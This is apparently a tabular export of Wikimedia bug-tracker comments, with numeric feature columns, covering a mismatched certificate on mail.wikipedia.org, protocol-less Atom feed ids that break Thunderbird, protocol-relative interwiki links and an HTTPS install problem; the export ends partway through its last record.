https://bugzilla.wikimedia.org/show_bug.cgi?id=33897",,,1406272783,,PHID-USER-oxd6f6xemkuyttw7z7wl,True,,,PHID-TASK-kb2p62lvglctaglot7yk,task_subcomment,,True,c2,3,True,,,47,True,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,14.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,35.0,2.0,0.0,5.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,14.0,23.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,3.488372093023256,0.627906976744186,"(In reply to Matthew Flaschen from comment #9)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

HTTPS was enabled on this domain because of a HTTPS Everywhere user:
URL"
227785,Wrong cert on mail.wikipedia.org (as it redirects to lists.wikimedia.org),"(In reply to Matthew Flaschen from comment #11)
> (In reply to Jan Zerebecki from comment #10)
> > Maybe the link doesn't get updated because robots.txt has Disallow:
> > /pipermail/ . Perhaps making http://mail.wikipedia.org/robots.txt (only for
> > that domain) a 404 has the desirable effect.
> 
> I think that may have been the original domain, so that will probably still
> lead to crawling the archives.

Actually never mind, as long as the crawlers respect the destination robots.txt (after being redirected) it should be fine.",,,1406258329,,PHID-USER-dw53c5cb2qfhyemej57o,True,,,PHID-TASK-kb2p62lvglctaglot7yk,task_subcomment,,True,c2,3,False,,,47,True,0.0,0.0,0.0,2.0,0.0,2.0,2.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,10.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,2.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,22.0,0.0,0.0,4.0,0.0,0.0,0.0,2.0,4.0,0.0,2.0,0.0,2.0,10.0,14.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,3.857142857142857,0.673469387755102,"(In reply to Matthew Flaschen from comment #11)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

Actually never mind, as long as the crawlers respect the destination robots.txt (after being redirected) it should be fine."
227778,Wrong cert on mail.wikipedia.org (as it redirects to lists.wikimedia.org),"(In reply to Jan Zerebecki from comment #10)
> Maybe the link doesn't get updated because robots.txt has Disallow:
> /pipermail/ . Perhaps making http://mail.wikipedia.org/robots.txt (only for
> that domain) a 404 has the desirable effect.

I think that may have been the original domain, so that will probably still lead to crawling the archives.",,,1406258168,,PHID-USER-dw53c5cb2qfhyemej57o,True,,,PHID-TASK-kb2p62lvglctaglot7yk,task_subcomment,,True,c2,3,False,,,47,True,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,5.0,13.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,3.0,3.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,13.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,5.0,3.0,18.0,3.0,0.0,10.0,0.0,0.0,0.0,3.0,5.0,0.0,3.0,0.0,3.0,13.0,8.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.717948717948718,0.8205128205128205,"(In reply to Jan Zerebecki from comment #10)
QUOTE
QUOTE
QUOTE

I think that may have been the original domain, so that will probably still lead to crawling the archives."
227773,Wrong cert on mail.wikipedia.org (as it redirects to lists.wikimedia.org),Maybe the link doesn't get updated because robots.txt has Disallow: /pipermail/ . Perhaps making http://mail.wikipedia.org/robots.txt (only for that domain) a 404 has the desirable effect.,,,1405584368,,PHID-USER-mdihg2tyzmlvyhn3h32y,True,,,PHID-TASK-kb2p62lvglctaglot7yk,task_subcomment,,True,c2,3,True,,,46,True,0.0,0.0,0.0,0.0,3.0,3.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,13.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,13.0,3.0,0.0,13.0,0.0,0.0,0.0,0.0,3.0,3.0,3.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,3.0,4.366666666666666,0.9,Maybe the link doesn't get updated because robots.txt has Disallow: /pipermail/ . Perhaps making URL (only for that domain) a 404 has the desirable effect.
227769,Wrong cert on mail.wikipedia.org (as it redirects to lists.wikimedia.org),"(In reply to Matthew Flaschen from comment #8)
> I'm not sure of GoogleBot's behavior in this regard. (Apparently, they send
> warnings out through Webmaster Tools, but I'm not sure how it affects the
> actual index).

Just to be clear, the result Zell mentioned is HTTP (http://mail.wikipedia.org/pipermail/wikitech-l/), not HTTPS, so that particular link would only affect HTTPS Everywhere (or similar) users.",,,1405579892,,PHID-USER-dw53c5cb2qfhyemej57o,True,,,PHID-TASK-kb2p62lvglctaglot7yk,task_subcomment,,True,c2,3,False,,,46,True,0.0,0.0,0.0,0.0,2.0,6.0,2.0,0.0,0.0,0.0,4.0,0.0,0.0,2.0,0.0,0.0,0.0,6.0,12.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,12.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,4.0,27.0,4.0,2.0,2.0,0.0,0.0,0.0,2.0,4.0,0.0,2.0,0.0,0.0,12.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.7708333333333335,0.8125,"(In reply to Matthew Flaschen from comment #8)
QUOTE
QUOTE
QUOTE

Just to be clear, the result Zell mentioned is HTTP (URL not HTTPS, so that particular link would only affect HTTPS Everywhere (or similar) users."
227764,Wrong cert on mail.wikipedia.org (as it redirects to lists.wikimedia.org),"There is a 301 redirect (permanent redirect) currently.  However, for SSL=>SSL (https://mail.wikipedia.org => https://lists.wikimedia.org/), the only way you can even get the 301 is by accepting an invalid certificate.

I'm not sure of GoogleBot's behavior in this regard. (Apparently, they send warnings out through Webmaster Tools, but I'm not sure how it affects the actual index).",,,1405579380,,PHID-USER-dw53c5cb2qfhyemej57o,True,,,PHID-TASK-kb2p62lvglctaglot7yk,task_subcomment,,True,c2,3,False,,,46,True,0.0,0.0,0.0,0.0,3.0,8.0,1.0,0.0,0.0,0.0,3.0,3.0,0.0,1.0,1.0,3.0,0.0,9.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,8.0,1.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,7.0,3.0,15.0,1.0,1.0,8.0,0.0,0.0,0.0,0.0,1.0,0.0,3.0,0.0,7.0,8.0,5.0,0.0,0.0,0.0,7.0,0.0,1.0,3.0,0.0,1.0,0.0,0.0,1.0,3.7837837837837838,0.7567567567567568,"There is a 301 redirect (permanent redirect) currently.  However, for SSL=>SSL (URL => URL the only way you can even get the 301 is by accepting an invalid certificate.

I'm not sure of GoogleBot's behavior in this regard. (Apparently, they send warnings out through Webmaster Tools, but I'm not sure how it affects the actual index)."
227759,Wrong cert on mail.wikipedia.org (as it redirects to lists.wikimedia.org),The google result might change its URL if we add a permanent HTTP redirect from mail.wikipedia.org to lists.wikimedia.org (maybe add some of its other aliases when we are at it) in the apache config.,,,1404848597,,PHID-USER-mdihg2tyzmlvyhn3h32y,True,,,PHID-TASK-kb2p62lvglctaglot7yk,task_subcomment,,True,c2,3,True,,,44,True,3.0,0.0,0.0,0.0,0.0,5.0,3.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,5.0,0.0,8.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,8.0,3.0,8.0,5.0,0.0,11.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,14.0,16.0,16.0,0.0,0.0,0.0,14.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,4.486486486486487,0.918918918918919,The google result might change its URL if we add a permanent HTTP redirect from mail.wikipedia.org to lists.wikimedia.org (maybe add some of its other aliases when we are at it) in the apache config.
227754,Wrong cert on mail.wikipedia.org (as it redirects to lists.wikimedia.org),https://rt.wikimedia.org/Ticket/Display.html?id=6981,,,1394071345,,PHID-USER-fo56wm4wxiwpoofn2xdu,True,,,PHID-TASK-kb2p62lvglctaglot7yk,task_subcomment,,True,c2,3,True,,,27,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,100.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,100.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,1.0,URL
227747,Wrong cert on mail.wikipedia.org (as it redirects to lists.wikimedia.org),"The second Google Result for wikitech-l links to mail.wikipedia.org page, so I suspect there are probably at least a few people who have run into this issue trying to find the wikitech-l archives.",,,1392743831,,PHID-USER-2qzpsivaeuezrxqtzhwn,True,,,PHID-TASK-kb2p62lvglctaglot7yk,task_subcomment,,True,c2,3,False,,,24,True,3.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,8.0,13.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,8.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,8.0,3.0,10.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,13.0,8.0,0.0,0.0,0.0,3.0,0.0,3.0,3.0,0.0,3.0,0.0,3.0,0.0,4.205128205128205,0.8974358974358975,"The second Google Result for wikitech-l links to mail.wikipedia.org page, so I suspect there are probably at least a few people who have run into this issue trying to find the wikitech-l archives."
227742,Wrong cert on mail.wikipedia.org (as it redirects to lists.wikimedia.org),"**Thehelpfulonewiki** wrote:

Adding Daniel to CC to have a look at the feasibility of this.",,,1372096967,,PHID-USER-ynivjflmc2dcl6w5ut5v,True,,,PHID-TASK-kb2p62lvglctaglot7yk,task_subcomment,,True,c2,1,False,,,-10,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,5.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,9.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,18.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,18.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,0.0,3.590909090909091,0.8181818181818182,"**Thehelpfulonewiki** wrote:

Adding Daniel to CC to have a look at the feasibility of this."
227735,Wrong cert on mail.wikipedia.org (as it redirects to lists.wikimedia.org),"Also, if we can't fix it we should consider just disable accessing it by SSL (so https://mail.wikipedia.org wouldn't work).",,,1360197284,,PHID-USER-dw53c5cb2qfhyemej57o,True,,,PHID-TASK-kb2p62lvglctaglot7yk,task_subcomment,,True,c2,1,False,,,-29,True,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,4.0,0.0,8.0,0.0,0.0,0.0,8.0,0.0,20.0,8.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,16.0,8.0,8.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,3.28,0.88,"Also, if we can't fix it we should consider just disable accessing it by SSL (so URL wouldn't work)."
227727,Wrong cert on mail.wikipedia.org (as it redirects to lists.wikimedia.org),"We have a wildcard cert for *.wikipedia.org (used on e.g. enwiki).

Could that be installed on mail.wikipedia.org, or would it pose a risk?

Otherwise, we could get a cert for mail.wikipedia.org and use it to serve the redirect.

I hit this since I use HTTPS Everywhere, with has a general Wikimedia rule.  If a fix is not possible, I will request they disable this redirect (http://mail.wikipedia.org -> https://mail.wikipedia.org).",,,1360197219,,PHID-USER-dw53c5cb2qfhyemej57o,True,,,PHID-TASK-kb2p62lvglctaglot7yk,task_subcomment,,True,c2,1,False,,,-29,True,0.0,0.0,0.0,1.0,1.0,4.0,1.0,0.0,0.0,1.0,2.0,0.0,0.0,0.0,0.0,6.0,0.0,5.0,9.0,0.0,1.0,0.0,1.0,1.0,1.0,0.0,0.0,0.0,2.0,2.0,0.0,6.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,1.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,7.0,2.0,14.0,2.0,2.0,11.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,9.0,9.0,8.0,1.0,0.0,0.0,9.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,1.0,3.788235294117647,0.7294117647058823,"We have a wildcard cert for *.wikipedia.org (used on e.g. enwiki).

Could that be installed on mail.wikipedia.org, or would it pose a risk?

Otherwise, we could get a cert for mail.wikipedia.org and use it to serve the redirect.

I hit this since I use HTTPS Everywhere, with has a general Wikimedia rule.  If a fix is not possible, I will request they disable this redirect (URL -> URL"
227723,Wrong cert on mail.wikipedia.org (as it redirects to lists.wikimedia.org),"**Thehelpfulonewiki** wrote:

Thanks for this - confirmed, this is because mail.wikipedia.org redirects to lists.wikimedia.org, not sure if this can be fixed though.",,,1360196958,,PHID-USER-ynivjflmc2dcl6w5ut5v,True,,,PHID-TASK-kb2p62lvglctaglot7yk,task_subcomment,,True,c2,1,False,,,-29,True,0.0,0.0,0.0,3.0,3.0,6.0,3.0,3.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,10.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,13.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.67741935483871,0.8064516129032258,"**Thehelpfulonewiki** wrote:

Thanks for this - confirmed, this is because mail.wikipedia.org redirects to lists.wikimedia.org, not sure if this can be fixed though."
46647,"Missing protocol (missing ""https:"") in field id value in Atom feed makes Thunderbird choke","the id is 

<id>//en.wikipedia.org/w/index.php?title=French_language&amp;diff=536359399&amp;oldid=536357691</id>

it is missing

the scheme (http or https)

both in watch list

https://en.wikipedia.org/w/api.php?action=feedwatchlist&allrev=allrev&wlowner=Xavier+Combelle&wltoken=...&feedformat=atom

and in [[Special:RecentChangesLinked]]

https://en.wikipedia.org/w/index.php?title=Special:RecentChangesLinked/User:Xavier_Combelle&feed=atom&target=User%3AXavier_Combelle

in thunderbird it makes [[Special:RecentChangesLinked]] broken but strangely not the watch list.

--------------------------
**Version**: 1.21.x
**Severity**: minor
**See Also**:
https://bugzilla.wikimedia.org/show_bug.cgi?id=52253",Medium,50.0,1360004640,1372933626.0,PHID-USER-h66anukl4e5enszrrt3t,False,,False,PHID-TASK-dgq75p75nztlt6w2q7s7,task_description,declined,True,c2,1,False,False,True,-30,True,0.0,0.0,0.0,0.0,1.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,1.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,1.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,2.0,13.0,0.0,3.0,4.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,2.0,3.0,8.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,6.0,4.096774193548387,0.5161290322580645,"the id is 

<id>//en.wikipedia.org/w/index.php?title=French_language&amp;diff=536359399&amp;oldid=536357691</id>

it is missing

the scheme (http or https)

both in watch list

URL

and in [[Special:RecentChangesLinked]]

URL

in thunderbird it makes [[Special:RecentChangesLinked]] broken but strangely not the watch list.

--------------------------
**Version**: 1.21.x
**Severity**: minor
**See Also**:
URL"
223148,"Missing protocol (missing ""https:"") in field id value in Atom feed makes Thunderbird choke","URL works for me in Thunderbird 17.0.7, though the validator complains as usual:

Sorry

This feed does not validate.

    line 13, column 98: id must be a full and valid URL: //en.wikipedia.org/w/index.php?title=Spanish_language&diff=562615584&oldid=562388202 (12 occurrences) [help]

        ... e&amp;diff=562615584&amp;oldid=562388202</id>
                                                     ^

In addition, interoperability with the widest range of feed readers could be improved by implementing the following recommendations.

    line 33, column 0: style attribute contains potentially dangerous content: border-radius (84 occurrences) [help]

          &lt;td style=&quot;background-color: #f9f9f9; color: #333333; font-size: 8 ...

    line 149, column 96: Two entries with the same id: //en.wikipedia.org/w/index.php?title=Template:Babel&diff=558575559&oldid=558575559 [help]

        ... l&amp;diff=558575559&amp;oldid=558575559</id>
                                                     ^

Source: https://en.wikipedia.org/w/index.php?title=Special%3ARecentChangesLinked/User%3AXavier_Combelle&feed=atom&target=User%3AXavier_Combelle",,,1372933626,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-dgq75p75nztlt6w2q7s7,task_subcomment,,True,c2,1,True,,,-8,True,0.0,0.0,0.0,0.5,0.5,4.0,0.5,0.0,0.5,0.0,1.5,0.0,0.0,0.0,0.0,1.5,0.5,1.0,4.5,0.0,0.0,0.5,0.0,0.0,0.0,0.5,0.0,0.0,0.5,0.0,0.0,4.5,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.5,0.5,0.0,0.0,0.0,0.0,17.5,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,2.5,1.0,6.5,0.5,1.0,3.0,0.0,0.0,0.0,1.0,1.5,0.5,6.5,0.0,0.5,4.5,10.5,0.0,0.0,0.0,0.5,0.0,0.0,0.5,0.5,1.0,0.0,0.5,3.0,5.676829268292684,0.7865853658536586,"URL works for me in Thunderbird 17.0.7, though the validator complains as usual:

Sorry

This feed does not validate.

    line 13, column 98: id must be a full and valid URL: //en.wikipedia.org/w/index.php?title=Spanish_language&diff=562615584&oldid=562388202 (12 occurrences) [help]

        ... e&amp;diff=562615584&amp;oldid=562388202</id>
                                                     ^

In addition, interoperability with the widest range of feed readers could be improved by implementing the following recommendations.

    line 33, column 0: style attribute contains potentially dangerous content: border-radius (84 occurrences) [help]

          &lt;td style=&quot;background-color: #f9f9f9; color: #333333; font-size: 8 ...

    line 149, column 96: Two entries with the same id: //en.wikipedia.org/w/index.php?title=Template:Babel&diff=558575559&oldid=558575559 [help]

        ... l&amp;diff=558575559&amp;oldid=558575559</id>
                                                     ^

Source: URL"
223141,"Missing protocol (missing ""https:"") in field id value in Atom feed makes Thunderbird choke",yes they are not displayed at all It opens a folder but nothing in it I'm under thunderibird 17.0.2 and ubuntu 12.10 if it's important,,,1360175253,,PHID-USER-h66anukl4e5enszrrt3t,False,,,PHID-TASK-dgq75p75nztlt6w2q7s7,task_subcomment,,True,c2,1,False,,,-29,True,4.0,0.0,0.0,4.0,4.0,7.0,0.0,0.0,0.0,4.0,4.0,4.0,0.0,0.0,0.0,4.0,0.0,11.0,15.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,7.0,4.0,7.0,4.0,0.0,0.0,0.0,0.0,4.0,4.0,4.0,0.0,19.0,15.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.074074074074074,0.9629629629629629,yes they are not displayed at all It opens a folder but nothing in it I'm under thunderibird 17.0.2 and ubuntu 12.10 if it's important
223134,"Missing protocol (missing ""https:"") in field id value in Atom feed makes Thunderbird choke","What is ""makes broken"" exactly? That it cannot be displayed at all?",,,1360061151,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-dgq75p75nztlt6w2q7s7,task_subcomment,,True,c2,1,True,,,-30,True,6.0,0.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,24.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,12.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,12.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,6.0,12.0,0.0,12.0,12.0,0.0,6.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,3.2941176470588234,0.8823529411764706,"What is ""makes broken"" exactly? That it cannot be displayed at all?"
46573,Links should use HTTP or HTTPS URL protocol relative to current page,"The Interwiki table currently requires the specification of the protocol. Instead, there should be an indication of whether the server at the destination supports HTTPS, and then the protocol should be selected dynamically, to match the protocol in use on the current page. If HTTPS is not indicated as being supported, then the Interwiki extension should fall back to HTTP by default.

I tested this on MediaWiki 1.18.x, using the older version of Interwiki required for 1.18. I looked at the code changes, and didn't see anything recent that indicated protocol-relative URLs were implemented in newer versions. If I've overlooked it, apologies.",Medium,50.0,1359711000,,PHID-USER-v3ztoke3xgae5by5guup,False,,False,PHID-TASK-ywwat26w4atkpyl4zqvr,task_description,open,True,c2,1,False,False,,-30,True,0.0,1.0,0.0,2.5,1.5,5.0,0.5,0.0,0.0,1.5,2.5,1.5,0.0,0.0,0.5,2.5,0.0,4.5,12.0,1.0,0.5,2.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,2.5,2.0,1.0,0.0,0.0,0.0,0.0,0.0,1.5,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,1.5,1.0,0.0,1.5,0.0,0.0,0.0,0.0,0.0,6.5,3.0,10.0,2.5,1.5,7.5,0.0,0.0,0.0,0.0,3.0,0.0,1.5,0.0,3.5,12.0,3.5,0.0,0.0,0.0,3.5,0.0,0.0,0.5,0.0,1.0,1.5,0.0,0.0,4.55,0.775,"The Interwiki table currently requires the specification of the protocol. Instead, there should be an indication of whether the server at the destination supports HTTPS, and then the protocol should be selected dynamically, to match the protocol in use on the current page. If HTTPS is not indicated as being supported, then the Interwiki extension should fall back to HTTP by default.

I tested this on MediaWiki 1.18.x, using the older version of Interwiki required for 1.18. I looked at the code changes, and didn't see anything recent that indicated protocol-relative URLs were implemented in newer versions. If I've overlooked it, apologies."
218322,Links should use HTTP or HTTPS URL protocol relative to current page,"Looking here:

https://www.mediawiki.org/wiki/Special:Interwiki

It appears the extension already supports protocol relative URLs via MediaWiki's native handling, beginning with 1.18. I should have tested that. Maybe the included table should be updated with protocol relative URls for the projects that support HTTPS? I'll leave this open for now, since I think at least that much can be done. I'll also update the documentation for the extension.",,,1359711796,,PHID-USER-v3ztoke3xgae5by5guup,False,,,PHID-TASK-ywwat26w4atkpyl4zqvr,task_subcomment,,True,c2,1,False,,,-30,True,1.0,0.0,0.0,3.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,5.0,0.0,8.0,10.0,0.0,0.0,3.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,3.0,0.0,5.0,1.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,4.0,0.0,0.0,0.0,1.0,0.0,10.0,1.0,1.0,0.0,0.0,1.0,0.0,1.0,1.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,1.0,0.0,6.0,3.0,15.0,1.0,0.0,10.0,0.0,0.0,0.0,0.0,6.0,0.0,1.0,0.0,6.0,10.0,3.0,1.0,0.0,0.0,6.0,0.0,1.0,0.0,0.0,3.0,0.0,1.0,0.0,4.371794871794871,0.7051282051282052,"Looking here:

URL

It appears the extension already supports protocol relative URLs via MediaWiki's native handling, beginning with 1.18. I should have tested that. Maybe the included table should be updated with protocol relative URls for the projects that support HTTPS? I'll leave this open for now, since I think at least that much can be done. I'll also update the documentation for the extension."
46260,Install over HTTPS produces wgServer with HTTP protocol,"**Author:** `bugzilla+wikimedia.org`

**Description:**
When installing through HTTPS, LocalSettings.php $wgServer still has HTTP protocol thus no stylesheets are loaded.

--------------------------
**Version**: 1.20.x
**Severity**: minor
**See Also**:
https://bugzilla.wikimedia.org/show_bug.cgi?id=66481",Medium,50.0,1358894880,1390766587.0,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,False,PHID-TASK-eacnrvequd2z26psqszj,task_description,invalid,True,c2,1,False,False,False,-32,True,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,7.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,20.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,7.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,2.0,3.6779661016949152,0.576271186440678,"**Author:** CODE

**Description:**
